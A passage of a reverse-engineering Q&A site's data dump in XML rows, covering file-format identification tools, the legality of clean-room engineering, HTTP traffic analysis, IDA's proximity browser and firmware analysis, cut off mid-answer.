  <row Id="1559" PostTypeId="4" CreationDate="2013-04-04T04:54:47.640" Score="0" Body="a material resistant to electrical conductivity that forms the platform upon which electrical components and wires can be mated (or printed) and connected to form a circuit.  Usually confused with printed wiring board." OwnerUserId="1467" LastEditorUserId="151" LastEditDate="2013-04-05T14:24:28.347" LastActivityDate="2013-04-05T14:24:28.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1560" PostTypeId="1" AcceptedAnswerId="1664" CreationDate="2013-04-04T07:49:50.253" Score="50" ViewCount="4866" Body="&lt;p&gt;Let's say I found 'some' file (might be an executable, might be data, or something else) and want to run or read it. I open this file in a text editor, but the format isn't readable. Examples include: Java class, Windows executable, SQLite database, DLL, ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I do know the file format, if we can trust the extension.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there somewhere a site or database with a lot of information about a lot encrypted or binary file formats? Information should include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;File use&lt;/li&gt;&#xA;&lt;li&gt;File layout and structure&lt;/li&gt;&#xA;&lt;li&gt;Eventually programs that can read or execute the file&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So I'm not looking for a way to identify the format of the file. I already know the file format, but need to have information about that format. When is the format used (in what applications), what's the format's structure?&lt;/p&gt;&#xA;" OwnerDisplayName="user187" LastEditorDisplayName="user187" LastEditDate="2013-04-04T15:56:50.413" LastActivityDate="2019-02-26T09:36:35.743" Title="Where to find information about a file format?" Tags="|file-format|" AnswerCount="12" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1561" PostTypeId="2" ParentId="1560" CreationDate="2013-04-04T08:02:32.023" Score="3" Body="&lt;p&gt;I am afraid that there is no website on this topic yet :(&lt;br&gt;&#xA;From my experience, the situation when you have the file but do not know its type&lt;br&gt;&#xA;is not often, but when it happens it can be annoying and time-consuming to solve.&lt;br&gt;&#xA;Basically, you need to use hex editor to spot characters which could give you a clue,&lt;br&gt;&#xA;and download example files of suspected file types to analyze them and find similarities.&lt;br&gt;&#xA;This approach is working for me in most cases.&lt;/p&gt;&#xA;" OwnerUserId="1515" LastActivityDate="2013-04-04T08:02:32.023" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1562" PostTypeId="2" ParentId="1560" CreationDate="2013-04-04T08:33:09.653" Score="7" Body="&lt;p&gt;If I understand correct, You need to identify the file?&#xA;First of all - extension is not 100% guarantee that file is what it pretend to be. You easily can rename binary.dll  to binary.dat or binary.hhh and still create file association or load it as DLL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So - to identify file, You may use &lt;a href=&quot;http://mark0.net/soft-trid-e.html&quot;&gt;TrID&lt;/a&gt; of Marco Pontello.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also - hex editor is a handy way to look into streams and all kind of dumps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When You identify the file - Google will help You to find correct way to edit\open\execute the file. &lt;/p&gt;&#xA;" OwnerUserId="1334" LastActivityDate="2013-04-04T08:33:09.653" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1564" PostTypeId="2" ParentId="1560" CreationDate="2013-04-04T09:48:13.430" Score="29" Body="&lt;p&gt;The &lt;a href=&quot;http://linux.die.net/man/1/file&quot;&gt;&lt;code&gt;file(1)&lt;/code&gt;&lt;/a&gt;, and the underlying &lt;a href=&quot;http://linux.die.net/man/3/libmagic&quot;&gt;&lt;code&gt;libmagic(3)&lt;/code&gt;&lt;/a&gt;, command fingerprints files based on the file content. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ file test.c&#xA;test.c: ASCII text&#xA;$ file test.exe&#xA;test.exe: PE32 executable for MS Windows (console) Intel 80386 32-bit&#xA;$ file test&#xA;test: ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.16, not stripped&#xA;$ file database.sqlite&#xA;database.sqlite: SQLite 3.x database&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This information can then be used to search the Internet for the actual standard, RFC, ...&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Another resource could be the &lt;a href=&quot;http://www.sweetscape.com/010editor/templates.html&quot;&gt;010 Editor binary templates&lt;/a&gt;, which include a lot of different file formats and which you can customize or develop yourself from scratch.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There is a German book I know called &lt;a href=&quot;http://books.google.de/books/about/Dateiformate.html?id=k1pYXwAACAAJ&amp;amp;redir_esc=y&quot;&gt;Dateiformate&lt;/a&gt; &lt;em&gt;(German for: file formats)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/List_of_file_formats&quot;&gt;Wikipedia - List of file formats&lt;/a&gt; contains a lot of links with information about certain file formats&lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="145" LastEditDate="2013-06-01T15:00:59.837" LastActivityDate="2013-06-01T15:00:59.837" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1566" PostTypeId="1" CreationDate="2013-04-04T10:59:05.023" Score="12" ViewCount="4857" Body="&lt;p&gt;The clean room technique is :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;First, a team of engineers study the software and describe everything&#xA;  it does as completely as possible without using or referencing any&#xA;  actual code. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Then, a second team of programmers who had no prior knowledge of the&#xA;  software and had never seen its code, work only from the first team's&#xA;  functional specifications, and write a new software that operated as&#xA;  specified.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This technique bypasses the the fact in that the programmers do not directly reverse engineer the code at any point. So, if a commercial software is worked on in this manner, then can the new version created be sold legally ?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I am looking for an overview of global laws and am referring to reverse engineering proprietary drivers.&lt;/p&gt;&#xA;" OwnerUserId="189" LastEditorUserId="189" LastEditDate="2013-04-04T13:31:14.973" LastActivityDate="2018-01-12T00:00:39.683" Title="Is it legal to sell clean room engineered products?" Tags="|law|" AnswerCount="5" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1567" PostTypeId="1" CreationDate="2013-04-04T11:04:46.003" Score="5" ViewCount="9863" Body="&lt;p&gt;I have a 3D driver from the early 90's for Solaris 2.5-2.6 Sparc that uses flexlm to handle license management. How would I go about either circumventing or removing it for computer archeology/hobby development purposes. Also note that the original company probably doesn't even know this software exists anymore (unless you think there might be a market for OpenGL 1.1 CAD running on 50Mhz hardware ;) ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand there are SDKs avaiable for flexlm that somehow allow you to circumvent things but I don't think I follow how it works well. Also I have noticed that there are hostname modification tools that allow you to spoof your hostname... preferably I wouldn't want to do something like that but rather circumvent it entirely as I undestand it isn't all that strong of a protection anyway. It would be nice if this work work for other period software as well... &lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-04-05T10:57:47.757" Title="Reverse engineering flexlm license management" Tags="|sparc|solaris|driver|digital-archeology|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1568" PostTypeId="1" CreationDate="2013-04-04T11:54:09.170" Score="10" ViewCount="1392" Body="&lt;p&gt;There's a post here (&lt;a href=&quot;http://narenonit.blogspot.in/2011/07/my-youmint-api-to-send-free-sms.html&quot;&gt;http://narenonit.blogspot.in/2011/07/my-youmint-api-to-send-free-sms.html&lt;/a&gt;) in which the author has tried to inform pretty well, as far as I can guess. The exact problem I'm facing is how to study the HTTP connection. Would it be possible for someone to explain the procedure a bit more clearly.&lt;/p&gt;&#xA;" OwnerUserId="1511" LastActivityDate="2013-04-06T13:07:17.083" Title="How to create an API for a web application without its source code?" Tags="|websites|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1569" PostTypeId="2" ParentId="1568" CreationDate="2013-04-04T12:00:36.207" Score="10" Body="&lt;p&gt;You could use some tools to view what gets sent from your browser to the web app and deduce how to &quot;emulate&quot; this behavior. A network sniffer would be the most useful here. &lt;a href=&quot;http://www.wireshark.org/&quot;&gt;Wireshark&lt;/a&gt; (especially it's &lt;a href=&quot;http://www.wireshark.org/docs/wsug_html_chunked/ChAdvFollowTCPSection.html&quot;&gt;Follow Stream&lt;/a&gt; feature)for example. Also , some browser plugins can be useful, for example &lt;a href=&quot;https://getfirebug.com/&quot;&gt;Firebug&lt;/a&gt;, &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/tamper-data/&quot;&gt;TamperData&lt;/a&gt; and &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/poster/&quot;&gt;Poster&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appart from that, it's just the matter of replicating what the browser does. &#xA;Basically, http communication consists of either GET or POST requests and replies (there are other requests tho and you should look into &lt;a href=&quot;http://www.w3.org/Protocols/rfc2616/rfc2616.html&quot;&gt;RFC2616&lt;/a&gt; for more details). So, by looking at HTTP streams in Wireshark, you could deduce what kind of request gets sent to the web application, and what kind of reply it gets. Some (or most, even) of this info can be deduced by studying the html source of the webpage since the html form element will have the parameters and action url specified. &lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="304" LastEditDate="2013-04-04T12:05:56.463" LastActivityDate="2013-04-04T12:05:56.463" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1570" PostTypeId="2" ParentId="1566" CreationDate="2013-04-04T12:11:55.113" Score="23" Body="&lt;p&gt;Well, in this case I'll quote &lt;a href=&quot;https://twitter.com/mikko&quot;&gt;Mikko Hypponen&lt;/a&gt; from F-Secure:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&quot;Remember, the legal advice you get from unknown strangers on internet forums is worth every penny you paid for it.&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://twitter.com/mikko/status/308139988388806656&quot;&gt;Source*&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, basically, You SHOULD consult Your local lawyer.  &lt;/p&gt;&#xA;" OwnerUserId="1334" LastActivityDate="2013-04-04T12:11:55.113" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1571" PostTypeId="2" ParentId="1566" CreationDate="2013-04-04T12:55:04.737" Score="2" Body="&lt;p&gt;Even though you may not be breaking copyright, you may still be breaking software patents. In fact I think you may even break a software patent without having looked at the other party's software...&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2013-04-04T12:55:04.737" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="1572" PostTypeId="1" AcceptedAnswerId="1590" CreationDate="2013-04-04T16:18:09.057" Score="6" ViewCount="1917" Body="&lt;p&gt;Using IDA 6.2 (and also with IDA 6.4), I'm trying out the Proximity viewer to find the path between 2 functions as described at the &lt;a href=&quot;http://www.hexblog.com/?p=468&quot; rel=&quot;nofollow noreferrer&quot;&gt;hexblog post here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the &lt;code&gt;Xrefs From/To&lt;/code&gt; (old option) it shows the clear path: &lt;code&gt;AllocateVolume&lt;/code&gt; -&gt; &lt;code&gt;VolumeSortCmp&lt;/code&gt; -&gt; &lt;code&gt;CompareVolumeComponents&lt;/code&gt; as shown in the screenshot below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jLcRr.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/h6BPH.png&quot; alt=&quot;&quot; title=&quot;Hosted by imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from the &lt;code&gt;add name&lt;/code&gt; and &lt;code&gt;hide childs&lt;/code&gt; options not existing in the context menu (as described in the blog) of the proximity browser as seen in the screenshot below&#xA;&lt;a href=&quot;https://i.stack.imgur.com/eNVEB.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lpErR.png&quot; alt=&quot;&quot; title=&quot;Hosted by imgur.com&quot; /&gt;&lt;/a&gt;&#xA;the &lt;code&gt;find path&lt;/code&gt; menu does list &lt;code&gt;CompareVolumeComponents&lt;/code&gt; in the dialog that opens (so it has some knowledge of what is reachable). &#xA;&lt;a href=&quot;https://i.stack.imgur.com/KGSOm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when I press search I expected a nice clean graph (as again shown in the blog and added as reference below) showing only the the 3 relevant nodes, but instead nothing seems to change to the proximity browser layout as I still see 30 something nodes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hexblog condensed &lt;code&gt;Find path&lt;/code&gt; example result&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2CeHx.png&quot; alt=&quot;hexblog condensed example result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My result&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WZO0I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the proximity viewer malfunctioning or are my expectations off? Or am i doing something wrong here?&lt;/p&gt;&#xA;" OwnerUserId="225" LastEditorUserId="225" LastEditDate="2013-04-05T06:52:24.193" LastActivityDate="2013-04-05T08:36:51.013" Title="IDA Proximity viewer not finding obvious paths?" Tags="|ida|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1573" PostTypeId="2" ParentId="1560" CreationDate="2013-04-04T16:21:09.357" Score="10" Body="&lt;p&gt;I like &lt;code&gt;file&lt;/code&gt; to determine the type of file from the header magic and &lt;a href=&quot;http://wotsit.org&quot; rel=&quot;noreferrer&quot;&gt;Wotsit&lt;/a&gt; for standard file formats/documentation/reversed file format structures by other people.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.fileformat.info/&quot; rel=&quot;noreferrer&quot;&gt;Fileformat.info&lt;/a&gt; was suggested as another resource for those that don't like Wotsit or feel it's dated.&lt;/p&gt;&#xA;" OwnerUserId="1536" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-04-05T19:03:04.120" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1574" PostTypeId="2" ParentId="1572" CreationDate="2013-04-04T17:15:02.897" Score="3" Body="&lt;p&gt;What your screenshot shows is not the proximity browser. It's the old Wingraph32 stuff that came already with the 5.x versions of IDA. See the attached picture for how the real thing looks:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RUipB.png&quot; alt=&quot;Proximity browser&quot;&gt;&#xA;(direct &lt;a href=&quot;https://i.stack.imgur.com/RUipB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;link to full size image&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find it under &lt;code&gt;View&lt;/code&gt; -&gt; &lt;code&gt;Open subviews&lt;/code&gt; -&gt; &lt;code&gt;Proximity browser&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that if you still use 6.2, there'll likely be a Qt version (&lt;code&gt;idaq.exe&lt;/code&gt;) and the old Windows GUI version (&lt;code&gt;idag.exe&lt;/code&gt;). You'll want the former for the proximity browser to work.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2013-04-04T19:40:29.907" LastActivityDate="2013-04-04T19:40:29.907" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1575" PostTypeId="2" ParentId="1568" CreationDate="2013-04-04T17:27:46.893" Score="6" Body="&lt;p&gt;In addition to the mentioned tools, I'd like to point out &lt;a href=&quot;https://github.com/jbittel/httpry&quot;&gt;&lt;code&gt;httpry&lt;/code&gt;&lt;/a&gt;, which is based on &lt;code&gt;libpcap&lt;/code&gt; (like &lt;code&gt;tcpdump&lt;/code&gt; and &lt;code&gt;WireShark&lt;/code&gt;) but aimed at only listening to and listing HTTP traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.fiddler2.com/fiddler2/&quot;&gt;Fiddler&lt;/a&gt; is another tool, albeit not FLOSS, that is up for the job just like the Firefox &quot;Tamper Data&quot; add-on. Remko also mentioned it in his comment, but I think it needs to be mentioned more prominently than in a comment. Was missing it from the other answer when reading through it.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2013-04-04T17:27:46.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1576" PostTypeId="2" ParentId="1566" CreationDate="2013-04-04T20:44:31.317" Score="13" Body="&lt;p&gt;First off, a disclaimer: This information is worth exactly what you paid for it - nothing. If you want the best answer, see the answer about consulting a lawyer. If you want to do your own research, here's a really good place to start. After research, still consult a lawyer. I mean it. Not all my information may be correct or accurate, so take it at face value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Globally, there is no easy way to define the laws and regulations surrounding your question. The answer is found in patent laws, since copyright has only so much power over that area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact that the software is not directly reverse engineered bypasses most of Copyright laws as far as I'm aware based on all the research I've done; you will &lt;em&gt;DEFINITELY&lt;/em&gt; want to make sure I'm right on this one - it holds true in India, and I think similar concepts apply in the U.S. and other places. That leaves us with the oh-so-nebulous world of patents!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Software patents are a very big gray area. I hope you're ready to do some reading. I'm going to share the most relevant ones. You're on your own for anything else.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;United States&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In the United States, patent law excludes abstract ideas, which has led to some software not being patentable. At the same time, there has been a trend of growth in the number of software patents granted in the United States, so there can be major problems if your software, which has the same functionality as the patent-holder's software, is based on the same design specs. While reverse engineering the software for interoperability would be protected, creating a clone of it with different code would be illegal under patent law.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also the legal factors of Copyright and Trademark. The Digital Millenium Copyright Act (DMCA) provides further clarification on copyright (Wikipedia also does a good job summarizing it). Trademark law is handled similarly to patents, but there are other restrictions. However, for the purposes of length, I'll let you discover that (Google is your friend here).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further Reading and resources:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Software_patent&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia: Software patent&lt;/a&gt; (I expect you to use Wikipedia to also find additional sources)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.uspto.gov/&quot; rel=&quot;nofollow noreferrer&quot;&gt;United States Patent and Trademark Office (USPTO)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;UK and European Union&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Substantive law in the United Kingdom generally excludes computer software from being patentable, as stated in &lt;a href=&quot;http://www.ipo.gov.uk/patentsact1977.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Patents Act of 1977&lt;/a&gt;. In the European Union, the &lt;a href=&quot;http://www.epo.org/law-practice/legal-texts/epc.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;European Patent Convention (EPC)&lt;/a&gt; specifies what an invention is, and software does not fall under that category (see also European Patent Office's (EPO's) &lt;em&gt;&lt;a href=&quot;http://www.epo.org/news-issues/issues/computers/software.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Patents for Software?&lt;/a&gt;&lt;/em&gt;). UK courts have taken the view that the differences between the text of Section 1 of the Patents Act and Article 52 of the EPC should be ignored since Section 1 was to transpose Article 52 of the EPC into UK law; therefore, the EPC was the definitive text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Case law in the UK has a very sporadic history of whether software is patentable. Currently, the UK Intellectual Property Office (UKIPO) and the EPO have diverged significantly in practice. There has been a rise in the number of patents granted. There have been more Patent office decisions than there have been Court decisions on the matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further Reading and resources:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Software_patents_under_United_Kingdom_patent_law&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia: Software patents under United Kingdom patent law&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.ipo.gov.uk/&quot; rel=&quot;nofollow noreferrer&quot;&gt;United Kingdom Intellectual Property Office (UKIPO) - Official Site&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.epo.org/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;European Patent Office - Official Site&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;India&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Most of the stuff for India is covered in &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/60/is-reverse-engineering-and-using-parts-of-a-closed-source-application-legal&quot;&gt;your other question&lt;/a&gt;, especially the sources cited in my answer there (especially the paper &lt;em&gt;&lt;a href=&quot;http://www.123helpme.com/view.asp?id=36962&quot; rel=&quot;nofollow noreferrer&quot;&gt;Software Patent and Copyright Laws in India&lt;/a&gt;&lt;/em&gt;, which argues why software should be patentable). Unless the laws have changed significantly, you'd be safer here.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Finally...&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You probably wouldn't be safe selling the software on a global market, since the majority of the market is seeing a growth in the number of software patents granted. There are also so many other legal factors that you'd be at great risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some exceptions, of course, which is how OpenOffice exists (for example); however, it has different functionality from Microsoft Office, which makes it an exception, even if the base functionality is exactly the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're kind of on your own for the rest of the research (I've given you and anyone else a good starting point).&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2013-04-05T15:24:20.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1577" PostTypeId="2" ParentId="1550" CreationDate="2013-04-04T21:29:07.117" Score="6" Body="&lt;p&gt;Reversing the firmware format can involve many different things, depending on the level of difficulty. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would start with manual analysis with a hex editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the data appears nicely structured, except for blocks that appear compressed (a few plaintext characters visible here and there), then it's probably not obfuscated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it appears like all gibberish with little or no structure (e.g. few runs of 0s), you'll need to disassemble the boot loader (dumped from the device) to extract the obfuscation algorithm, assuming you can't guess at it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there, start identifying the header fields and component parts of the firmware image. Most will have a kernel and a compressed file system. Often times there are offsets in the header, pointing to the components of the firmware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would want to try &lt;a href=&quot;https://code.google.com/p/binwalk/&quot;&gt;BinWalk&lt;/a&gt;, to see if it identifies any common components to the file format. It is designed for exactly this task. It generally works best on linux firmwares, which use common open source filesystems like squashfs or jffs2, but it's worth a try here.&lt;/p&gt;&#xA;" OwnerUserId="1563" LastActivityDate="2013-04-04T21:29:07.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1578" PostTypeId="2" ParentId="1568" CreationDate="2013-04-04T23:39:22.930" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://www.fiddler2.com/fiddler2/version.asp&quot; rel=&quot;nofollow&quot;&gt;Fiddler&lt;/a&gt; learn to love it..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It provides an easy to use interface for capturing requests/responses to the intended sites. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Essentially you need to:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Make the request you want to automate using your browser.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use Fiddler to capture these requests and investigate them. (Is it a POST or GET? Is there a CSRF token? What variables map to the input I provided etc..)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Get the response back from the server.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Identify the parts that contain your output.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then you need to write a script that takes whatever input you want to problematically send and then makes the request in the same fashion that the browser did. Store the output and pull out the portions that you want.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you successfully figure out how to formulate the requests you can then build a class to hide the details of how it all works and make clean looking code. &lt;/p&gt;&#xA;" OwnerUserId="1404" LastEditorUserId="1404" LastEditDate="2013-04-04T23:46:28.277" LastActivityDate="2013-04-04T23:46:28.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1579" PostTypeId="1" CreationDate="2013-04-05T00:21:52.173" Score="13" ViewCount="1144" Body="&lt;p&gt;I a conduct research requiring the reverse engineering file formats, and I am currently looking at ways of documenting that work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the web you will find resources that use box diagrams and free text. For example, this attempt to look at Microsoft Access: &lt;a href=&quot;https://github.com/brianb/mdbtools/blob/master/HACKING&quot;&gt;https://github.com/brianb/mdbtools/blob/master/HACKING&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is fairly consistent with the approach taken in ISO specs for formats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This type of work is part of what I do professionally but I haven't come across anything to help me store my information in a consistent and useful manner for anyone else - months down the line it might not even be useful to me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a 'community' best practice (methods, tools, authoring tools etc.) to help document research into a file format?&lt;/p&gt;&#xA;" OwnerUserId="1566" LastEditorUserId="1566" LastEditDate="2013-04-05T00:28:06.523" LastActivityDate="2013-04-15T04:48:37.633" Title="What are the best practice methods for documenting research into the reverse engineering of a file format?" Tags="|tools|file-format|digital-archeology|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1580" PostTypeId="2" ParentId="1579" CreationDate="2013-04-05T00:48:20.367" Score="2" Body="&lt;p&gt;I can't think of anything more &quot;standard&quot; than block diagrams, a pseudo-code implementation, and possibly a reference implementation.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take for example the FIPS standard &lt;a href=&quot;http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; or the LUKS standard document.  They provide a basic narrative of functionality, pseudo-code, and in the case of OGG/OGV even a full reference implementation.  A standard you took apart, in my opinion, should be documented the same way a standard you designed is documented.  Some fields may be &quot;unknown&quot; or &quot;seems to be magic, just leave it&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think you'll find anything more standard than that is.  If you don't mind posting a document and a parser, github/bitbucket/etc are great.  Some of the other file format questions point to Wotsit.org (I look there), so submitting a link there could be a good thing as well.&lt;/p&gt;&#xA;" OwnerUserId="1536" LastActivityDate="2013-04-05T00:48:20.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1581" PostTypeId="2" ParentId="60" CreationDate="2013-04-05T01:34:54.353" Score="9" Body="&lt;p&gt;I think questions beginning with the clause &quot;Is it legal to...&quot; can only ever be correctly answered with certainty in a court of law. And as @0xC0000022L mentioned, you'd need to start by specifying which country you're asking about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short of going to court, I think such questions can only ever be answered correctly with the phrase, &quot;It depends.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the other answers, it seems well-known within this community that reverse engineering something is very closely connected to both &lt;a href=&quot;http://www.copyright.gov/regstat/2013/regstat03202013.html&quot;&gt;copyright law&lt;/a&gt; and the &lt;a href=&quot;https://www.eff.org/issues/cfaa&quot;&gt;Computer Fraud and Abuse Act&lt;/a&gt;, both of which (as the links attest) are hotly contested right now in the US.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Harvard Law School has recently published a &lt;a href=&quot;http://boingboing.net/2013/03/04/copyrightx-a-massively-open-o.html&quot;&gt;massively open online course on copyright&lt;/a&gt;. The professor &lt;a href=&quot;http://www.tfisher.org/PTK.htm&quot;&gt;published a book&lt;/a&gt; on copyright reform in 2004. He also started &lt;a href=&quot;http://www.tfisher.org/Disclosure.htm&quot;&gt;Noank Media, Inc. in 2007&lt;/a&gt; to try and implement one of the ideas in his book in China. Although his MOOC lectures and readings are all available globally, I'm taking this course through &lt;a href=&quot;https://www.edx.org/&quot;&gt;edX&lt;/a&gt; right now, and even with the benefit of several law students to help answer questions, there's still a &lt;em&gt;tremendous&lt;/em&gt; amount of information and ambiguity to consider (even limiting the scope of my answer here 